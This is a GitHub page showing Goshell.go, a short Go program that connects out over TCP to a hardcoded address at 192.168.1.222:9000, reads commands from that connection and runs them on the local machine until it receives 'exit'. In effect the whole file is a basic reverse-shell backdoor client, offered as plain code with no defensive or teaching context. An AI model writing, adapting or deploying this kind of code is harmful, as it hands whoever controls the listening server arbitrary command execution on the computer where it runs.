-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGoshell.go
72 lines (53 loc) · 931 Bytes
/
Goshell.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package main
import (
"fmt"
"net"
"os"
"os/exec"
"strings"
)
const(
Network = "tcp"
Address = "192.168.1.222:9000"
)
//Execute command
func shell(args []string){
cmd := exec.Command(args[0],args[1:]...)
cmd.Stderr = os.Stderr
cmd.Stdout = os.Stdout
err := cmd.Run()
if err!= nil {
fmt.Fprintln(os.Stderr, err)
}
}
// get connection with server
func connect()net.Conn{
conn,err := net.Dial(Network,Address)
if err != nil {
fmt.Println("connection err! err:",err)
}
return conn
}
// get command
func getcmd(conn net.Conn)string{
buf := make([]byte,1024)
n,err := conn.Read(buf)
if err != nil {
fmt.Fprintln(os.Stderr,err)
}
cmdstring := string(buf[0:n])
return cmdstring
}
func main(){
var cmdString string
conn := connect()
defer conn.Close()
for {
cmdString = getcmd(conn)
args := strings.Fields(cmdString)
if args[0]=="exit"{
os.Exit(0)
}
shell(args)
}
}